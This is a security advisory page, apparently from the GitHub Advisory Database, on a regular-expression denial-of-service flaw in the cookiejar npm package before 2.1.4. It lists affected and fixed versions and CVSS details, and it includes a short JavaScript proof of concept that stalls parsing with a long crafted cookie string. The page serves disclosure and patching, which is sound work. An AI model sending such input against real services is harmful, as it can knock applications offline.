Medium

cookiejar Regular Expression Denial of Service via Cookie.parse function

Disclosed: 18.01.2023
Updated: 11.10.2026 12:21

Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.

Proof of concept:

ts\nconst { CookieJar } = require("cookiejar");

const jar = new CookieJar();

const start = performance.now();

const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);

console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);

CookieJar.setCookie(): 2963.214399999939ms

Affected software

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Platform	Package	Vulnerable versions	Fixed in
Java / Kotlin (Maven)	org.webjars.npm:cookiejar	<= 2.1.3	no fix
npm package	cookiejar	< 2.1.4	2.1.4

References

CVSS score 5.3/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness (CWE): CWE-1333
Platform: Java / Kotlin (Maven), npm
Package: org.webjars.npm:cookiejar, cookiejar
Disclosed: 18.01.2023
Updated: 11.10.2026 12:21

Sources and licenses

OSV / GitHub Advisory Database - GHSA-h452-7996-h45h - CC BY 4.0

Vulnerability history: org.webjars.npm:cookiejar

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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